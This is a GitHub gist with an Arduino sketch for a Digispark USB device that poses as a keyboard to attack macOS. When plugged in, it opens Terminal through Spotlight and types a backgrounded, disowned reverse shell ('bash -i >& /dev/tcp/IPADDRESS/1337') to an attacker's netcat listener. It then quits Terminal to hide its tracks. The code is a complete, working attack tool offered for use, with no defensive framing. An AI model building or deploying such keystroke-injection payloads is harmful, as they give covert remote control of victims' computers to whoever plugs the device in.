Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Save carlosrobles/5a115eb74b5a456e9e069650f83973b7 to your computer and use it in GitHub Desktop.
Save carlosrobles/5a115eb74b5a456e9e069650f83973b7 to your computer and use it in GitHub Desktop.
#include "DigiKeyboard.h"
//Command key is ord 37 and as a modifier 0x00000008
//See NX_DEVICELCMDKEYMASK http://svn.red-bean.com/bob/SDL-altivec/trunk/src/video/quartz/SDL_QuartzEvents.m
//For a look at available keys https://github.com/digistump/DigisparkArduinoIntegration/blob/master/libraries/DigisparkKeyboard/DigiKeyboard.h
#define MOD_CMD_LEFT 0x00000008
boolean do_hack = true;
void setup() {
// don't need to set anything up to use DigiKeyboard
}
void loop() {
// this is generally not necessary but with some older systems it seems to
// prevent missing the first character after a delay:
DigiKeyboard.sendKeyStroke(0);
//cmd+space
if (do_hack) {
DigiKeyboard.sendKeyStroke(KEY_SPACE, MOD_CMD_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.print("terminal");
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(1000);
//Ahead of time you want a machine at IPADDRESS listening on port 1337 `nc -l 1337`
DigiKeyboard.println("nohup bash -i >& /dev/tcp/IPADDRESS/1337 0>&1 &");
DigiKeyboard.delay(500);
DigiKeyboard.println("disown $!");
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_Q, MOD_CMD_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
do_hack = false;
}
// It's better to use DigiKeyboard.delay() over the regular Arduino delay()
// if doing keyboard stuff because it keeps talking to the computer to make
// sure the computer knows the keyboard is alive and connected
DigiKeyboard.delay(10000);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment